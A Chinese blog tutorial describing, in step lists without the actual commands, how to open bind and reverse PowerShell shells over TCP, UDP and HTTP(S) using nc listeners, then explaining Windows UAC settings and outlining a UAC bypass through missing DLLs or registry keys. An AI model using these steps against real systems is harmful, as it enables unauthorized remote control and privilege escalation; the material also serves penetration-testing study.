一、基于TCP协议的Powershell交互式Shell
Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。
参数介绍:
-IPAddress
-Port
-Reverse [
-Bind [
实例:1.正向连接
第一步:在目标机运行脚本,监听端口88
第二步:使用nc连接到目标机端口88
2. 反向连接
第一步:使用nc监听本地端口88(注意必须先监听,不然在目标机上执行脚本会出错)
第二步:在目标机上运行脚本来反弹shell
第三步:观察攻击机,可以发现成功反弹shell
二、基于UDP协议的PowerShell交互式Shell
Invoke-PowerShellUdpPowershell交互式正向连接或反向连接shell,基于UDP协议。
使用实例:
1.正向连接
第一步:在目标机运行脚本,监听端口66
第二步:使用nc连接到目标机端口66
2. 反向连接
第一步:使用nc监听本地端口66
第二步:在目标机上运行脚本来反弹shell
第三步:观察攻击机,可以发现成功反弹shell
三、基于HTTP和HTTPS协议的PowerShell交互式Shell
Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向连接shell,基于HTTP协议和HTTPS协议。
这里需要说明以下,需要攻击者以管理员身份运行
第一步:首先我们需要在攻击机上使用脚本,需要的信息有攻击机IP,要监听的端口。运行完脚本,就等着目标机反弹Shell了。
第二步:在目标机上运行下列命令,反弹Shell
第三步:观察攻击机,可以发现成功反弹shell
权限提升
权限提升是指利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,让应用或用户获得对受保护资源的高级访问权限。 这里我们主要讲通过Bypass UAC来提权
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。
需要UAC的授权才能进行的操作列表如下:
配置Windows Update
增加、删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装、卸载程序
安装设备驱动程序
将文件移动/复制到Program Files或Windows目录下
查看其它用户的文件夹
UAC有如下四种设置要求:
始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
如何Bypass UAC 我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
————————————————
版权声明:本文为CSDN博主「余笙.'」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_59711856/article/details/123651907